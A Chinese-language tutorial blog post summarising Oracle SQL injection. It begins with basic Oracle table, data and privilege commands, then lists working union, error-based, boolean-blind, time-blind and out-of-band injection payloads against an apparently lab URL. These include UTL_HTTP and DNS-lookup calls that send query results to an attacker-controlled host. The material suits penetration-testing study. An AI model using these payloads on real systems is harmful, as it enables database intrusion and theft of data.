Oracle SQL隱碼攻擊 總結

FreeKnight發表於2021-11-09

0x00 Oracle基礎

Oracle 基本使用

什麼是Oracle資料庫?

  • Oracle公司目前是世界上最大的軟體提供商之一,與它並列的還有 Microsoft與 Adode。並且隨著 Oracle的發展,它已經成為了企業辦公平臺的最大軟體提供商之一。

  • Oracle資料庫是 Oracle (中文名稱叫甲骨文) 公司的核心產品,Oracle資料庫是—個適合於大中型企業的資料庫管理系統。在所有的資料庫管理系統中(比如:微軟的SQL Server,IBM的DB2等), Oracle的主要使用者涉及面非常廣包括銀行、電信、行動通訊、航空、保險、金融、電子商務和跨國公司等。 Oracle產品是免費的,可以在 Oracle官方網站上下載安裝包,另一方面 Oracle服務是收費的。

  • 官網連結:https://www.oracle.com/cn/index.html

Oracle資料庫的特點

  • 完整的資料管理功能

  • 資料的大量性

  • 資料的儲存永續性

  • 資料庫共享性

  • 完備關係的產品

  • 資訊準則---關係型DBMS的所有資訊都在邏輯上用一種方法,即表中的值顯式地表示

  • 保證訪問的準則

  • 檢視更新準則---只要形成檢視的表中的資料變化了,相應的檢視中的資料同時變化

  • 完整的資料管理功能

  • 分散式處理功能

  • 一個 ORACLE分散式資料庫由 oraclerdbms、sq|Net、 SQLCONNECT和其他非 ORACLE的關係型產品構成

相比於其他資料庫 Oracle的優缺點

  • 優點

  • 開放性:Oracle能在所有主流平臺上執行(包括 windows)完全支援所有工業標準採用完全開放策略使客戶選擇適合解決方案對開發商全力支援

  • 並行性:Oracle並行伺服器通過使組結點共享同簇工作來擴充套件windowNT能力提供高用性和髙伸縮性簇解決方案

  • 安全性:獲得最高認證級別的ISO標準認證。

  • 效能:Oracle效能高保持開放平臺下TPC-D和TPC-C世界記錄

  • 使用風險:Oracle長時間開發經驗完全向下相容得廣泛應用地風險低

  • 缺點

  • 對硬體的要求較高

  • 價格比較昂貴

  • 管理維護較麻煩

  • 操作較複雜,需要技術含量較高

Oracle 常用資料型別

登入Oracle資料庫

Oracle資料庫基本表管理語句

建立表
create table 表名(欄位名稱 型別 約束)
create table ichunqiu(name char(10) primary key,age int)

增加列
alter table 表名 add(欄位名稱, 資料型別)
alter table ichunqiu add(class_name varchar2(200))

刪除表中一列
alter table 表名 set unused column 列名
alter table ichunqiu set unused column name

修改表欄位
alter table 表名 modify(欄位名稱 新的欄位型別)
alter table ichunqiu modify(name varchar(200))

** Oracle資料庫基本資料操作語句**

**查詢** 
select *|列名|表示式 from 表名 where 條件 order by 列名
select * from ichunqiu order by age desc  (降序)
select * from ichunqiu order by age asc   (升序)
select * from ichunqiu order by age       (預設就是升序)

**插入** 
insert into 表名 values(所有欄位對應值)
insert into 表名 (欄位名1,欄位名2,欄位名3,...)values(欄位對應值)
insert into ichunqiu(name,age) values('icq',18)
insert into ichunqiu values('icq',18,'web')

**更新** 
update 表名 set 欄位名稱 = 值 where 更新條件
update ichunqiu set age=25 where name='icq'

**刪除** 
delete 表名 where 條件
delete ichunqiu where name='ii'

  • Truncate

  • 語法:truncate table 表名

  • 說明:將表中資料一次性刪除

  • Truncate和 delete區別

  1. truncate是DDL命令,刪除資料不能恢復 ; delete是DML命令,刪除資料可以通過資料庫的日誌檔案進行恢復

  2. 如果一個表中記錄很多, truncate相對 delete速度快

Oracle許可權控制

Oracle許可權概述

  • 許可權允許使用者訪問屬於其它使用者的物件或執行程式,ORACLE系統提供三種許可權: Object物件級、 System系統級、Role角色級。這些許可權可以授予給使用者、特殊使用者 public或角色,如果授予一個許可權給特殊使用者"Public" (使用者 public是 oracle預定義的,每個使用者享有這個使用者享有的許可權)那麼就意味作將該許可權授予了該資料庫的所有使用者。

  • 對管理許可權而言,角色是一個工具,許可權能夠被授予給—個角色,角色也能被授予給另一個角色或使用者。使用者可以通過角色繼承許可權,除了管理許可權外角色服務沒有其它目的。許可權可以被授予,也可以用同樣的方式撤銷

許可權分類

  • Oracle資料庫中許可權分為兩類
  1. 系統許可權:系統規定使用者使用資料庫的許可權。(系統許可權是對使用者而言)

  2. 實體許可權:某種許可權使用者對其它使用者的表或檢視的存取許可權。(是針對表或檢視而言的)

系統許可權(使用者許可權管理)

  • 系統許可權分類

  • DBA:擁有全部特權,是系統最高許可權,只有DBA才可以建立資料庫結構

  • RESOURCE:擁有 Resource許可權的使用者只可以建立實體,不可以建立資料庫結構

  • CONNECT:擁有 Connect許可權的使用者只可以登入 Oracle,不可以建立實體,不可以建立資料庫結構

  • 對於普通使用者:授予 connect, resource許可權

  • 對於DBA管理使用者:授予 connect, resource,dba許可權

系統許可權授權命令

  • 系統許可權只能由DBA使用者授出:sys, system(最開始只能是這兩個使用者)
SQL> grant connect,resource,dba to使用者名稱1[,使用者名稱2]...;

SQL> Create user user50 identified by user50;
SQL> grant connect,resource to user50;

注:普通使用者通過授權可以具有與 system相同的使用者許可權,但不能達到與sys使用者相同的許可權, system使用者的許可權也可以被回收。

實體許可權(表許可權管理)

  • 實體許可權分類

  • select, update, insert, alter, index, delete,all //all括所有許可權

  • execute //執行儲存過程許可權

  • 舉例:

grant select,insert, update on tablename to userA;            --賦權給使用者: userA
grant select, insert, update on tablename to public:          --賦權給所有使用者
grant select, update on product to userA with grant option;   --userA得到許可權,並可以傳遞
revoke select insert, update on tablename from userA;         --收回給予的許可權從使用者
userA revoke select, insert, update on tablename from public; --收回給予的許可權從所有使用者

注意:如果取消某個使用者的物件許可權,那麼對於這個使用者使用 WITH GRANT OPTION授予許可權的使用者來說,同樣還會取消這些使用者的相同許可權,也就是說取消授權時級聯的。

0x01 常見注入型別

引入知識

  • Oracle中的 dual 表介紹

  • 此表是 Oracle資料庫中的一個自帶表 ,它為了滿足查詢條件 而產生

  • dual表的特點

  1. dual是 oracle中的偽表(只有一行一列)

  2. 每個使用者都可以使用

  3. 可能dual表被刪掉,sys可以恢復

  • 在 oracle中使用查詢語句必須跟一個表名,如下:

  • Mysql:union select 1, 2, 3

  • Oracle:union select 1, 2, 3 from dual

  • Oracle的註釋符介紹

  • 單行註釋符號是:--

  • 多行註釋符號是://**

  • Oracle的 強匹配 型別

  • 在 Oracle進行類似UNION査詢資料時候必須讓對應位置上的資料型別和表中的列的資料型別是一致的,也可以使用null代替某些無法快速猜測出資料型別的位置

  • 舉例:

  • mysql::union select 1, 2, 3

  • oracle:union select null, null, null from dual

union聯合查詢注入

Oracle union聯合查詢注入基本流程

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

**2.判斷欄位數** 
當前表有4個欄位
id=1 order by 4--   

**3.聯合查詢找回顯位** 
Oracle 資料庫查詢需要 from dual (虛表/偽表) 專為查詢語句設定的表
union select * from dual--
id=1 union select 1,2,3,4 from dual--
null代替所有型別
id=1 union select null,null,null,null from dual--
id=1 union select 1,'admin',3,4 from dual--

**4.查詢資料庫版本、資料庫連線使用者、當前例項名** 
id=1 union select 1,(select banner from sys.v_$version where rownum=1),3,4 from dual--
id=1 union select 1,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),3,4 from dual-- #test
id=-1 union select 1,(select instance_name from v$instance),3,4 from dual--

**5.遍歷資料庫名** 
id=-1 union select 1,(select owner from all_tables where rownum=1),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in ('SYS')),3,4 from DUAL--
id=-1 union select 1,(select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM')),3,4 from DUAL--

**6.遍歷表名** 
id=-1 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO','FLAG','ICHUNQIU','STU')),3,4 from DUAL--

**7.遍歷flag表欄位名** 
id=-1 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag')),3,4 from DUAL--

**8.查詢表欄位資料** 
id=-1 union select 1,(select NAME||AGE FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select "name"||"age" FROM DEMO where rownum=1),3,4 from dual--
id=-1 union select 1,(select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1),3,4 from dual--

error 注入

常用顯錯函式

  1. dbms_xdb_version.checkin() 函式
  • 屬於 dbms_xdb_version下的 checkin功能。此功能檢入籤岀的VCR並返回新建立的版本的資源ID。

  • payload:

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
  1. dbms_xdb_version.uncheckout() 函式
  • 用法和checkin一致

  • payload:

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--
  1. **utl_inaddr.get_host_name() ** 函式
  • 說明:這種方法在 Oracle 8g,9g,10g中不需要任何許可權,但是在** Oracle 11g及以後的版本中** ,官方加強了訪問控制許可權,所以在11g以後要使用此方法進行報錯注入,當前資料庫使用者必須有網路訪問許可權

  • 報錯方法:獲取ip地址,其引數如果解析不了會報錯,顯示傳遞的引數。如果其引數是一個SQL語句,那麼報錯就會把結果給顯示出來。

  • payload:

and utl_inaddr.get_host_name((select user from dual))=1--

其他常用顯錯函式

函式名 payload
dbms_xdb_version.makeversioned() and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null--
dbms_utility.sqlid_to_sqlhash() and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null--
ordsys.ord_dicom.getmappingxpath() and select ordsys.ord_dicom.getmappingxpath ((select user from dual),user,user) =1--
ctxsys.drithsx.sn() and (select ctxsys.drithsx.sn ((select user from dual)) from dual) =1--

Oracle error 注入基本流程

**1.判斷是否存在注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢資料庫版本、資料庫連線使用者、當前例項名** 
id=1 and dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null--
id=1 and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null--

2.**遍歷獲取資料庫名** 
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select owner from all_tables where rownum=1 and owner not in ('SYS'))) is not null--

3.**遍歷獲取表名** 
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1 and table_name not in ('ADMIN1','DEMO'))) is not null--

**4.遍歷獲取欄位名** 
id=1 and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1 and table_name='FLAG' AND column_name not in ('id','name','pwd','flag'))) is not null--

5.**查詢表欄位資料** 
id=1 and dbms_xdb_version.checkin((select NAME||AGE FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select "name"||"age" FROM DEMO where rownum=1)) is not null--
id=1 and dbms_xdb_version.checkin((select 'username:'||NAME||'age:'||AGE FROM DEMO where rownum=1)) is not null--

bool盲注

bool盲注相關函式

  1. decode() ** 函式**
  • 用法 :decode(條件,值1,翻譯值1,值2,翻譯值2… 值n, 翻譯值n,預設值)

  • 含義 :if(條件 == 值1) -> 返回翻譯值1,否則返回預設值

  • 舉例 :查詢 Oracle版本,判斷版本的字串第一個字元是否是O

  • Payload :

and1=(select decode(substr((select banner from sys.v_$Version where rownum=1),1,1), 'O', 1, 0) from dual--
  • 說明 :其中 select語句可以替換,如:

  • 獲取當前使用者: selectuser from dual;

  • 獲取字元長度: select length(user) from dual;

  1. instr() ** 函式**
  • 用法 :instr( string1, string2 ) / instr(源字串,目標字元)

  • 含義 :搜尋指定的字元返回發現指定的字元的位置, string1是被搜尋的字串, string2是希望搜尋的字串

  • 注入思路 : instr會返回’SQL’位置資料在査詢結果中的位置,未找到便返回0,可通過對‘SQL′位置進行遍歷和迭代,獲取到資料

  • 舉例 :查詢當前的使用者,判斷使用者名稱第一個字元是否是T

  • Payload

and1=(instr((select user from dual),'T'))--

Oracle bool盲注基本流程

**1.判斷注入** 
http://172.16.12.2:81/orcl.php?id=1' " and 1=1 and '1'='1' or '1'='1'

2.**查詢資料庫版本/使用者** 
decode decode(substr(('abc'),1,1),'a',1,0)
length 返回字串長度
ascii  返回字元的ascii碼
instr  搜尋指定結果內是否包含關鍵字 存在返回1 否則返回0
id=1 and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual)--
id=1 and (select length(user) from dual)=4-- 
id=1 and (select ascii('a') from dual)=97-- 
id=1 and (select ascii(substr((select user from dual),1,1)) from dual)=84-- #ascii碼判斷字元 T
id=1 and (select ascii(substr((select user from dual),2,1)) from dual)=69-- #ascii碼判斷字元 E

id=1 and 1=(instr((select user from dual),'T'))--
id=1 and 1=(instr((select user from dual),'TE'))--
id=1 and 1=(instr((select user from dual),'TES'))--
id=1 and 1=(instr((select user from dual),'TEST'))--

**3.獲取庫名** 
id=1 and (select length(owner) from all_tables where rownum=1)=3-- #第一個庫名長度為3
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),1,1)) from dual)=83--
#ascii為83 S
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89--
#ascii為89 Y
id=1 and (select ascii(substr((select owner from all_tables where rownum=1),3,1)) from dual)=83--
#ascii為83 S

**4.獲取表名** 
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),1,1)) from dual)=105-- 第一個表名的第一個字元是i
id=1 and (select ascii(substr((select table_name from user_tables where rownum=1),2,1)) from dual)=99-- 第一個表名的第二個字元是c

**5.獲取欄位名** 
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),1,1)) from dual)=117-- icq表內的第一個欄位的第一個字元u
id=1 and (select ascii(substr((select column_name from user_tab_columns where rownum=1 and table_name='icq'),2,1)) from dual)=115-- icq表內的第一個欄位的第二個字元s

time 盲注

time盲注相關函式

  • DBMS_PIPE.RECEIVE_MESSAGE() ** 函式**

  • 用法 :DBMS_PIPE.RECEIVE_MESSAGE(' 任意值 ', 延遲時間 )

  • 舉例 :DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5) 表示從ICQ管道返回的資料需要等待5秒

  • payload

and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1

常用payload

id=1 and dbms_pipe.receive_message((), 5)=1
id=1 and (select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O', dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
擷取資料庫版本第一個字元為O就延時5s
id=1 and (select decode(length(user),4,dbms_pipe.receive_message('ICQ', 5),0) from dual)=1--
使用者名稱長度為4 就延時5s

帶外注入

Oracle帶外注入

  • Oracle的帶外注入和 DNSLOG很相似,需要使用網路請求的函式 進行注入利用,其中可以進行網路請求的函式如下等

帶外注入相關函式

  • utl_http.request() ** 函式**

  • 函式說明 :在Oracle中提供了utlhttprequest函式,用於取得web伺服器的請求資訊,因此,攻擊者可以自己監聽埠,然後通過這個函式用請求將需要的資料傳送反彈回頭

  • UTL_HTTP包介紹 :提供了對HTTP的一些操作。

  • 舉例 :執行這條SQL語句,將返回 baidu. com的HTML原始碼

select UTL_HTTP.REQUEST('http://www.baidu.com') from dual
  • utl_inaddr.get_host_address() 函式

  • 常用payload

and (selectutl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
  • SYS.DBMS_LDAP.INIT()

  • 常用payload

and (select SYS.DBMS_LDAP.INIT((select userfrom dual)||'.aaaa.com(自己搭建dnslog)') from dual)is notnull --

帶外注入過程

  1. 判斷 UTL_HTTP儲存過程是否可用
  • 在注入點提交如下查詢:
select count(*) from allobjects where object name='UTL_HTTP'
  • 通過頁面回顯判斷UTL_HTTP是否可用,如果頁面返回正常,則說明UTL_HTTP儲存過程可用
  1. 使用NC監聽資料
  • 在本地用nc監聽一個埠,要求本地主機擁有一個外網的ip地址

  • nc-lvvp監聽埠

  1. 反彈資料資訊
  • 在注入點提交:
# 傳送請求,獲得當前使用者名稱
id=1 and UTL_HTTP.request('http://ip:監聽埠/'||(select user from dual))=1--

即可實現注入攻擊

注意:每次在注入點提交一次請求,nc監聽完後就會斷開,需要重新啟動nc監聽

常用payload

# 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

# 傳送請求,獲得當前使用者名稱
id=1 and UTL_HTTP.request('http://ip:監聽埠/'||(select user from dual))=1--

相關文章